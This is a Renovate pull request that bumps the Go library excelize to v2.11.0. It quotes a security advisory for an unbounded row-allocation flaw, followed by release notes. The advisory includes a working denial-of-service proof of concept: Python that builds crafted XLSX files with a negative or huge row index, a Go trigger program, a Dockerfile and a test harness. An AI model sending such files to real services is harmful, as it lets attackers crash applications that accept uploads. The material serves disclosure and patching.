Skip to content

Update module github.com/xuri/excelize/v2 to v2.11.0 [SECURITY]#150

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-xuri-excelize-v2-vulnerability
Open

Update module github.com/xuri/excelize/v2 to v2.11.0 [SECURITY]#150
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-xuri-excelize-v2-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 11, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/xuri/excelize/v2 v2.9.0v2.11.0 age confidence

Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

CVE-2026-54063 / GHSA-h69g-9hx6-f3v4

More information

Details

Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Summary

The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.

Details

The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.

Data flow (source → sink):

  1. excelize.go:186-193OpenReader reads attacker-controlled spreadsheet bytes.
  2. excelize.go:216-223 — ZIP reader is created and passed to ReadZipReader.
  3. lib.go:43-77 — ZIP entries are read into fileList; worksheet XML is stored by part name.
  4. excelize.go:228-229 — XML bytes are stored in f.Pkg.
  5. cell.go:71-79 — Public GetCellValue enters the worksheet value-read path.
  6. cell.go:1492-1494getCellStringFunc calls workSheetReader.
  7. excelize.go:313-324 — Worksheet XML is decoded into xlsxWorksheet.
  8. xmlWorksheet.go:302-312<row r="..."> is deserialized into xlsxRow.R int with no validation (source).
  9. excelize.go:357-377checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check.

Vulnerable code (excelize.go:373-377):

if r.R != 0 && r.R > row {
    row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)}  // unbounded allocation

The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.

Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.

Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.

Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:

panic: runtime error: index out of range [-2]

goroutine 1 [running]:
github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)
        /excelize/excelize.go:381
github.com/xuri/excelize/v2.(*File).workSheetReader(...)
        /excelize/excelize.go:329
github.com/xuri/excelize/v2.(*File).getCellStringFunc(...)
        /excelize/cell.go:1494
github.com/xuri/excelize/v2.(*File).GetCellValue(...)
        /excelize/cell.go:72
main.main.func1(...)
        /excelize/cmd/poc/main.go:44
main.main()
        /excelize/cmd/poc/main.go:52

Recommended remediation (excelize.go):

-func (ws *xlsxWorksheet) checkSheet() {
+func (ws *xlsxWorksheet) checkSheet() error {
     ...
         for i := 0; i < len(ws.SheetData.Row); i++ {
             r := ws.SheetData.Row[i]
+            if r.R < 0 {
+                return newInvalidRowNumberError(r.R)
+            }
+            if r.R > TotalRows {
+                return ErrMaxRows
+            }
     ...
     ws.SheetData = *sheetData
+    return nil
 }
PoC

Step 1: Generate the malicious XLSX

import zipfile

##### Variant A: OOM   → row = "2147483647"

##### Variant B: Panic → row = "-1"
row = "-1"

with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
    z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''')
    z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>''')
    z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>''')
    z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>''')

Step 2: Trigger the vulnerability

package main

import "github.com/xuri/excelize/v2"

func main() {
    f, err := excelize.OpenFile("malicious.xlsx")
    if err != nil { panic(err) }
    defer f.Close()
    _, err = f.GetCellValue("Sheet1", "A1")  // triggers checkSheet() → unbounded make()
    if err != nil { panic(err) }
}

Expected results:

  • Variant A (r="2147483647"): process is killed by the OOM killer (fatal error: runtime: out of memory or exit code 137).
  • Variant B (r="-1"): process panics with runtime error: index out of range [-2] at excelize.go:381 (exit code 2).

Both variants were confirmed in a Docker container with --memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes.

Impact

This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader).

Who is impacted:

  • Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).
  • CLI tools or batch jobs that parse user-supplied spreadsheet files.
  • Any application using the library to handle untrusted XLSX documents.

The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.

Reproduction artifacts
Dockerfile
##### Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
##### CWE-770 — Allocation of Resources Without Limits or Throttling

##### Target: github.com/xuri/excelize/v2 @&#8203; commit f4a068b
#

##### Exploit path:
#####   GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()

#####   In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N">
#####   attribute is used directly as make([]xlsxRow, row) size with no bounds check.

#
##### Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory

##### Variant B (r=-1):         Panic — second loop does sheetData.Row[-2] (index OOB)

FROM golang:latest AS builder

##### Copy the vulnerable excelize library source (serves as the Go module)
COPY repo/ /excelize/

##### Copy the exploit main package written by poc.py
COPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go

WORKDIR /excelize

##### Build the exploit binary.

##### -mod=mod: allow Go to update go.sum for any transitive deps.
##### CGO_ENABLED=0: produce a statically-linked binary for the runtime stage.
RUN CGO_ENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/

##### Minimal runtime stage (golang image provides a libc for cgo-free binary too)
FROM golang:latest
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
CWE-770 — Allocation of Resources Without Limits or Throttling
Repository: qax-os/excelize  Commit: f4a068b

Exploit mechanism:
  xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and
  uses the attacker-controlled <row r="N"> attribute directly as the length
  argument to make([]xlsxRow, row) without any bounds validation against
  TotalRows (1,048,576).

  Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error
  Variant B (r=-1):         first loop leaves row=0; second loop executes
                            sheetData.Row[-1-1] → runtime panic: index out of range

This script:
  1. Writes exploit_main.go (the Go PoC binary source).
  2. Creates two malicious XLSX files (one per variant).
  3. Builds the Docker image.
  4. Runs each variant and captures evidence.
  5. Writes phase2_result.json with verdict.
"""

import json
import os
import subprocess
import sys
import textwrap
import zipfile

##### ---------------------------------------------------------------------------

##### Paths
##### ---------------------------------------------------------------------------
BASE_DIR     = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR   = os.path.dirname(BASE_DIR)          # Docker build context
RESULT_FILE  = os.path.join(BASE_DIR, "phase2_result.json")
DOCKERFILE   = os.path.join(BASE_DIR, "Dockerfile")
IMAGE_NAME   = "excelize-poc-vuln001"

EXPLOIT_SRC  = os.path.join(BASE_DIR, "exploit_main.go")
PANIC_XLSX   = os.path.join(BASE_DIR, "row_negative.xlsx")
OOM_XLSX     = os.path.join(BASE_DIR, "row_maxint.xlsx")

##### ---------------------------------------------------------------------------

##### Step 1 — Write the Go exploit source
##### ---------------------------------------------------------------------------
EXPLOIT_GO = textwrap.dedent("""\
    // exploit_main.go — PoC for VULN-001
    // Triggers excelize checkSheet() unbounded allocation via malicious XLSX.
    package main

    import (
    \t"fmt"
    \t"os"
    \t"runtime/debug"

    \texcelize "github.com/xuri/excelize/v2"
    )

    func main() {
    \tif len(os.Args) < 2 {
    \t\tfmt.Fprintln(os.Stderr, "Usage: poc <xlsx_file>")
    \t\tos.Exit(1)
    \t}
    \tpath := os.Args[1]
    \tfmt.Printf("[*] Opening: %s\\n", path)

    \t// Wrap the call so we can print a structured panic message before exiting.
    \t// The panic itself is the evidence of exploitability.
    \tfunc() {
    \t\tdefer func() {
    \t\t\tif r := recover(); r != nil {
    \t\t\t\tfmt.Println("[VULN] PANIC CAUGHT — vulnerability confirmed")
    \t\t\t\tfmt.Printf("[VULN] panic value: %v\\n", r)
    \t\t\t\tfmt.Println("[VULN] Stack trace:")
    \t\t\t\tdebug.PrintStack()
    \t\t\t\tos.Exit(2) // exit 2 = exploitable crash (panic)
    \t\t\t}
    \t\t}()

    \t\tf, err := excelize.OpenFile(path)
    \t\tif err != nil {
    \t\t\tfmt.Printf("[!] OpenFile error: %v\\n", err)
    \t\t\tos.Exit(1)
    \t\t}
    \t\tdefer f.Close()

    \t\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet()
    \t\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled.
    \t\tfmt.Println("[*] Calling GetCellValue — entering checkSheet() sink")
    \t\tval, err := f.GetCellValue("Sheet1", "A1")
    \t\tif err != nil {
    \t\t\t// Some errors surface instead of panicking (e.g. allocation failures
    \t\t\t// that Go converts to errors in some configurations).
    \t\t\tfmt.Printf("[!] GetCellValue error: %v\\n", err)
    \t\t\tos.Exit(3) // exit 3 = error path (still abnormal)
    \t\t}
    \t\tfmt.Printf("[*] GetCellValue returned normally, value=%q (no crash)\\n", val)
    \t}()
    }
""")

def write_exploit_source() -> None:
    with open(EXPLOIT_SRC, "w") as fh:
        fh.write(EXPLOIT_GO)
    print(f"[+] Wrote exploit source: {EXPLOIT_SRC}")

##### ---------------------------------------------------------------------------

##### Step 2 — Build malicious XLSX files
##### ---------------------------------------------------------------------------
CONTENT_TYPES = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
    '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
    '<Default Extension="xml"  ContentType="application/xml"/>'
    '<Override PartName="/xl/workbook.xml"'
    ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
    '<Override PartName="/xl/worksheets/sheet1.xml"'
    ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
    '</Types>'
)

RELS = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    '<Relationship Id="rId1"'
    ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"'
    ' Target="xl/workbook.xml"/>'
    '</Relationships>'
)

WORKBOOK = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"'
    ' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
    '<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>'
    '</workbook>'
)

WORKBOOK_RELS = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    '<Relationship Id="rId1"'
    ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"'
    ' Target="worksheets/sheet1.xml"/>'
    '</Relationships>'
)

def sheet_xml(row_r: str) -> str:
    return (
        '<?xml version="1.0" encoding="UTF-8"?>'
        '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
        f'<sheetData><row r="{row_r}"><c r="A1"><v>1</v></c></row></sheetData>'
        '</worksheet>'
    )

def build_xlsx(path: str, row_r: str) -> None:
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("[Content_Types].xml",        CONTENT_TYPES)
        z.writestr("_rels/.rels",               RELS)
        z.writestr("xl/workbook.xml",           WORKBOOK)
        z.writestr("xl/_rels/workbook.xml.rels", WORKBOOK_RELS)
        z.writestr("xl/worksheets/sheet1.xml",  sheet_xml(row_r))
    print(f"[+] Created {os.path.basename(path)}  (row r={row_r!r})")

##### ---------------------------------------------------------------------------

##### Step 3 — Docker helpers
##### ---------------------------------------------------------------------------
def run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess:
    print(f"[>] {' '.join(str(x) for x in cmd)}")
    return subprocess.run(
        cmd,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

def docker_build() -> tuple[bool, str]:
    result = run_cmd(
        [
            "docker", "build",
            "--no-cache",
            "-f", DOCKERFILE,
            "-t", IMAGE_NAME,
            PARENT_DIR,
        ],
        timeout=600,
    )
    combined = result.stdout + result.stderr
    if result.returncode != 0:
        print(f"[-] docker build FAILED (rc={result.returncode})")
        print(combined[-4000:])
        return False, combined
    print("[+] Docker image built successfully")
    return True, combined

def docker_run_variant(label: str, xlsx_path: str, mem: str = "256m", timeout: int = 90) -> dict:
    """Run the exploit container against one XLSX file and return analysis dict."""
    cmd = [
        "docker", "run", "--rm",
        "--memory", mem,
        "--memory-swap", mem,
        "-v", f"{xlsx_path}:/input.xlsx:ro",
        IMAGE_NAME,
        "/input.xlsx",
    ]
    run_cmd_str = " ".join(cmd)
    try:
        result = run_cmd(cmd, timeout=timeout)
        rc = result.returncode
        stdout = result.stdout or ""
        stderr = result.stderr or ""
    except subprocess.TimeoutExpired:
        rc = -99
        stdout = ""
        stderr = f"TIMEOUT after {timeout}s"

    combined = stdout + stderr
    print(f"\n--- {label} ---")
    print(f"  exit code : {rc}")
    print(f"  stdout    : {stdout[:1200]}")
    print(f"  stderr    : {stderr[:1200]}")

    is_panic = any(kw in combined for kw in (
        "index out of range",
        "PANIC CAUGHT",
        "runtime error",
        "goroutine ",
        "panic:",
    ))
    is_oom = any(kw in combined for kw in (
        "out of memory",
        "cannot allocate",
        "fatal error",
        "makeslice",
    )) or rc == 137

    # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path
    crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137))

    return {
        "label":    label,
        "rc":       rc,
        "is_panic": is_panic,
        "is_oom":   is_oom,
        "crashed":  crashed,
        "run_cmd":  run_cmd_str,
        "snippet":  combined[:1500].strip(),
    }

##### ---------------------------------------------------------------------------

##### Main
##### ---------------------------------------------------------------------------
def main() -> None:
    print("=" * 65)
    print("VULN-001 PoC — excelize checkSheet() unbounded allocation DoS")
    print("=" * 65)

    # 1. Write Go exploit source (needed before docker build)
    write_exploit_source()

    # 2. Create malicious XLSX payloads
    build_xlsx(PANIC_XLSX, "-1")          # Variant B: index OOB panic
    build_xlsx(OOM_XLSX,   "2147483647")  # Variant A: 2 GB+ make() → OOM

    # 3. Build Docker image
    build_cmd = (
        f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
    )
    build_ok, build_out = docker_build()
    if not build_ok:
        payload = {
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        (
                "Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 "
                "'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 "
                "'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다."
            ),
            "build_command": build_cmd,
            "run_command":   "",
            "poc_command":   f"python3 {os.path.abspath(__file__)}",
            "evidence":      build_out[-2000:],
            "artifacts":     ["Dockerfile", "poc.py"],
        }
        with open(RESULT_FILE, "w") as fh:
            json.dump(payload, fh, indent=2, ensure_ascii=False)
        print(f"\n[!] FAIL result → {RESULT_FILE}")
        sys.exit(1)

    # 4. Run both variants
    ev_panic = docker_run_variant(
        "Variant B — r=-1 (index out of range panic)", PANIC_XLSX, mem="256m")
    ev_oom   = docker_run_variant(
        "Variant A — r=2147483647 (OOM)",              OOM_XLSX,   mem="256m")

    # 5. Verdict
    passed = ev_panic["crashed"] or ev_oom["crashed"]

    if ev_panic["crashed"]:
        primary, primary_ev = "B (r=-1, panic)", ev_panic
    elif ev_oom["crashed"]:
        primary, primary_ev = "A (r=2147483647, OOM)", ev_oom
    else:
        primary, primary_ev = "B (r=-1, panic)", ev_panic  # best-effort

    if passed:
        reason = (
            f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). "
            f"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; "
            f"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. "
            "excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 "
            "컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명."
        )
        verdict = "PASS"
    else:
        reason = (
            "컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. "
            f"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. "
            "가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, "
            "(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. "
            "다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행."
        )
        verdict = "FAIL"

    phase2 = {
        "passed":        passed,
        "verdict":       verdict,
        "reason":        reason,
        "build_command": build_cmd,
        "run_command":   primary_ev["run_cmd"],
        "poc_command":   f"python3 {os.path.abspath(__file__)}",
        "evidence":      primary_ev["snippet"],
        "artifacts":     ["Dockerfile", "poc.py"],
    }

    with open(RESULT_FILE, "w") as fh:
        json.dump(phase2, fh, indent=2, ensure_ascii=False)

    print(f"\n{'='*65}")
    print(f"Verdict : {verdict}  (passed={passed})")
    print(f"Result  → {RESULT_FILE}")
    print("=" * 65)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

xuri/excelize (github.com/xuri/excelize/v2)

v2.11.0

Compare Source

We are pleased to announce the release of version 2.11.0. Featured are a handful of new areas of functionality and numerous bug fixes.

A summary of changes is available in the Release Notes. A full list of changes is available in the changelog.

Release Notes

The most notable changes in this release are:

Breaking Change
  • Upgraded requirement: Go language version is 1.25.0 or later, due to upgrading dependency package golang.org/x/net
  • Breaking changes for the AddChart, AddChartSheet and AddShape functions
    • Change Title field data type of Chart from []RichTextRun to ChartTitle
    • Change Line field data type of Shape from ShapeLine to LineOptions
    • Renamed data type ChartDashType to LineDashType
    • Renamed data type ChartLineType to LineType
    • Renamed data type ChartLine to LineOptions
Security
  • Check row number when reading worksheet to prevent unbounded memory allocation (CVE-2026-54063), related security advisories GHSA-h69g-9hx6-f3v4
  • Prevent attacker-controlled allocations by validating against worksheet row number overflow maximum limitation (CVE-2026-59161), related security advisories GHSA-q5j5-6p94-4gwc
  • Prevent panic on getting cell value with invalid shared string table index (CVE-2026-59162), related security advisories GHSA-fx5j-qcqg-grpf
Notable Features
  • Added new ChartTitle data type
  • Added new PivotTableShowValuesAs data type
  • Added new PivotTableShowValuesAsType enumeration
  • Added 3 new exported error variables: ErrPivotTableShowValuesAsBaseField, ErrPivotTableShowValuesAsBaseItem and ErrUnsupportedPivotTableShowValuesAsType
  • Added new field ShowValuesAs in PivotTableField data type
  • Added new field SelectedItems in PivotTableOptions and SlicerOptions data types
  • Added new function AutoFitColWidth to support auto fit columns width, related issue #​92
  • The SetSheetName function allow sheet rename for invalid source names, related issue #​548
  • The CalcCellValue function supports tilde wildcard criteria
  • The CalcCellValue function supports implicit intersection and fixes regex criteria anchoring
  • The CalcCellValue function supports 3D references across sheet ranges, related issue #​2303
  • The CalcCellValue function supports returning formula calculation result with raw cell value, related issue #​2316
  • The AddPivotTable function supports checking whether the same data field appears in pivot table column, rows and filter fields, to prevent generating a corrupted workbook
  • The AddPivotTable and GetPivotTables functions support setting and getting show values as of pivot table data fields, related issue #​2340
  • The AddPivotTable, AddSlicer, GetPivotTables and GetSlicers functions support setting and getting selected items for pivot table and pivot table slicer, related issue #​2154
  • The AddChart and AddChartSheet functions support setting chart title with formula
  • The AddChart and AddChartSheet functions support setting chart title and chart axis title's layout
  • The AddChart and AddChartSheet functions support setting line format for chart title and chart axis title
  • The AddShape function supports setting line format of shapes
  • The NewStyle function supports auto foreground and background color when creating solid fill style when no custom color value is specified
Compatibility Improvements
  • Fixed chart sheet not showing charts on Excel Online and KingSoft WPS™ Office, related issue #​2273
Bug Fixes
  • Fixed a v2.8.1 regression issue #​1383
  • Fixed AddChart function panic when adding a chart with no fill series
  • Fixed CalcCellValue function panic on invalid row reference in some cases, resolved issue #​2266
  • Fixed formula exact text matching not matching substrings when using CalcCellValue function
  • Fixed CalcCellValue function calculation accuracy issue for formula functions BINOM.INV, CHIINV, CHISQ.DIST, IMSECH, IMSQRT and NEGBINOM.DIST
  • Fixed CalcCellValue function returning incorrect calculation result of FREQUENCY in some cases
  • Fixed CalcCellValue function returning incorrect calculation result when error values inside parentheses or operators, resolved issue #​2344
  • Fixed AddComment function assigning incorrect author ID for all comments when author already exists in authors list, resolved issue #​2289
  • Fixed potential deadlock related to file unlocker not being called before returning an error
  • Fixed custom number format with comma scaling not properly applied, resolved issue #​2297
  • Fixed panic on reading corrupted workbook containing invalid worksheet XML by column iterator, resolved issue #​2299
  • Fixed missing single quote after adjusting formulas which include external references
  • Fixed failure to decrypt workbooks protected by ECMA-376 agile encryption with SHA512 hash algorithm in some cases, resolved issue #​2328
  • Fixed SetCellFormula function not clearing shared formula metadata when overwriting with a normal formula, resolved issue #​2337
Performance
  • Reduced memory usage for reading unencrypted workbooks, reducing rows iterator memory usage by at most 85%
  • Optimized the coordinates conversion and some internal functions performance
    • The ColumnNumberToName function memory allocation reduced by about 90%
    • The CoordinatesToCellName function memory allocation reduced by about 13%
    • The internal isNumeric function memory allocation reduced by about 68%
Miscellaneous
  • The dependencies module has been updated
  • Unit tests and godoc updated
  • Documentation website with multilingual: Arabic, German, English, Spanish, French, Italian, Japanese, Korean, Portuguese, Russian, Chinese Simplified and Chinese Traditional, which has been updated.
  • excelize-wasm NPM package release update for WebAssembly / JavaScript support
  • excelize PyPI package release update for Python
  • ExcelizeCs NuGet .Net package release for C#
Thank you

Thanks for all the contributors to Excelize. Below is a list of contributors that have code contributions in this version:

v2.10.1

Compare Source

We are pleased to announce the release of version 2.10.1. Featured are a handful of new areas of functionality and numerous bug fixes.

A summary of changes is available in the Release Notes. A full list of changes is available in the changelog.

Release Notes

The most notable changes in this release are:

Breaking Change

Removed three exported error variables: ErrStreamSetColStyle, ErrStreamSetColWidth, and ErrStreamSetPanes.

Notable Features
  • Added the ChartDataPoint data type
  • Added the DataPoint field to ChartSeries
  • Added the DropLines and HighLowLines fields to ChartAxis
  • Added the Name field to GraphicOptions
  • Added two constants: MaxGraphicAltTextLength and MaxGraphicNameLength
  • Added 7 exported error variables: ErrFillType, ErrFillGradientColor, ErrFillGradientShading, ErrFillPatternColor, ErrFillPattern, ErrMaxGraphicAltTextLength and ErrMaxGraphicNameLength
  • Added the exported function GetHyperLinkCells to retrieve hyperlink cells, related issue #​1607
  • Added the exported function GetSheetProtection to retrieve sheet protection settings
  • The AddComment function now returns an error when adding a comment to a cell that already has one
  • Added support for inserting ICO images, related issue #​2234
  • The CalcCellValue function now supports two formula functions: SORTBY and UNIQUE
  • The AddChart and AddChartSheet functions now support setting data point colors for doughnut, pie, and 3D pie charts, related issue #​1904
  • The AddChart function now supports configuring font families for East Asian and complex-script fonts
  • The AddChart function now supports drop lines and high-low lines for area and line charts
  • The GetPictures function can now return partial formatting properties, related issue #​2157
  • Added the SetColVisible function to the streaming writer to set column visibility, related issue #​2075
  • Added the SetColOutlineLevel function to the streaming writer to group columns, related issue #​2212
  • The AddShape and AddSlicer functions now support one-cell anchor positioning for shapes and slicers
  • The GetSlicers function now supports retrieving slicers with one-cell anchor positioning
  • The SetConditionalFormat, GetConditionalFormats, and UnsetConditionalFormat functions now support the 3 triangles, 3 stars, and 5 boxes icon set conditional formats, related issue #​2038
  • The UnsetConditionalFormat function now supports deleting a conditional format rule or data validation for a specific cell within a cell range
  • The AddPicture and AddPictureFromBytes functions now support setting the picture name
  • The AddChart and AddShape functions now support setting names and alternative text for charts and shapes
  • The AddSlicer function now supports setting alternative text for slicers
  • Added validation for graphic names and alternative text length; returns an error when the length exceeds the limit
  • Added UTF-16-aware length checking and truncation
Improve the Compatibility
  • Removed empty rows on save, reducing the generated workbook file size
Bug Fixes
  • Fixed a v2.10.0 regression where the GetCellValue and GetRows functions returned shared string indexes for empty strings, resolve issue #​2240
  • Fixed GetPivotTables panicking when retrieving pivot tables in some cases
  • Fixed a panic when reading cell values with certain number format codes containing Chinese month names, resolve issue #​2224
  • Fixed a panic when opening encrypted workbooks in some cases, resolve issue #​2237
  • Fixed missing column styles when using the streaming writer SetRow function
  • Fixed GetPictures not returning some cell images
  • Fixed workbook corruption caused by light theme color index overflow
  • Fixed DeleteDataValidation updating data validation cell ranges incorrectly with unordered cell references
  • Fixed SetConditionalFormat generating corrupted workbooks when setting time period conditional formatting rules
  • Fixed CalcCellValue failing to resolve references in some cases by trimming single quotes from sheet names
  • Fixed NewStyle creating duplicate styles when using the default font or fill, resolve issue #​2254
Performance
  • Optimized CalcCellValue by adding a calculation cache and limiting processing to actual data ranges, resolve issues #​2057 and #​2223
  • Optimized CalcCellValue formula evaluation for VLOOKUP, reducing memory usage and execution time by about 50%, resolve issue #​2139
  • Optimized GetMergeCells by speeding up overlap checks for merged cell ranges and reducing memory usage, resolve issue #​2226
  • Optimized applying number format codes by converting using continued-fraction recurrence formulas
Miscellaneous
  • The dependencies module has been updated
  • Unit tests and godoc updated
  • Documentation website with multilingual: Arabic, German, English, Spanish, French, Italian, Japanese, Korean, Portuguese, Russian, Chinese Simplified and Chinese Traditional, which has been updated.
  • excelize-wasm NPM package release update for WebAssembly / JavaScript support
  • excelize PyPI package release update for Python
  • ExcelizeCs NuGet .Net package release for C#
Thank you

Thanks for all the contributors to Excelize. Below is a list of contributors that have code contributions in this version:

v2.10.0

Compare Source

We are pleased to announce the release of version 2.10.0. Featured are a handful of new areas of functionality and numerous bug fixes.

A summary of changes is available in the Release Notes. A full list of changes is available in the changelog.

Release Notes

The most notable changes in this release are:

Breaking Change
  • Upgrade requirements Go language version is 1.24.0 or later, for upgrade of dependency package golang.org/x/crypto
Notable Features
  • Add new exported error variable ErrTransparency
  • Add new ChartDashType, CustomProperty and ZipWriter data types
  • Add new field Border to the ChartMarker data type
  • Add new field Font to the ChartLegend data type
  • Add new field Legend to the ChartSeries data type
  • Add new field Transparency to the Fill data type
  • Add new fields Dash and Fill to the ChartLine data type
  • Add new field TmpDir to the Options data type, support to specifies the custom temporary directory for creating temporary files, related issue #​2024
  • Add new field Charset to the Font data type, support to explicitly specify font encodings when generating spreadsheets
  • Add new functions GetCustomProps and SetCustomProps support getting and setting workbook custom properties, related issue #​2146
  • Add new function SetZipWriter, support set custom ZIP writer, related issue #​2199
  • Add optional parameter withoutValues for the GetMergeCells function
  • The DeleteDataValidation function support delete data validation in extension list, and support delete data validation by given with multiple cell ranges with reference sequence slice or blank separated reference sequence string, related issue #​2133
  • The AddChart function support set dash line and marker border type of charts
  • The AddChart function support to set font for chart legends, related issue #​2169
  • The AddChart and AddChartSheet function support create 4 kinds of box and whisker stock charts: High-Low-Close, Open-High-Low-Close, Volume-High-Low-Close and Volume-Open-High-Low-Close
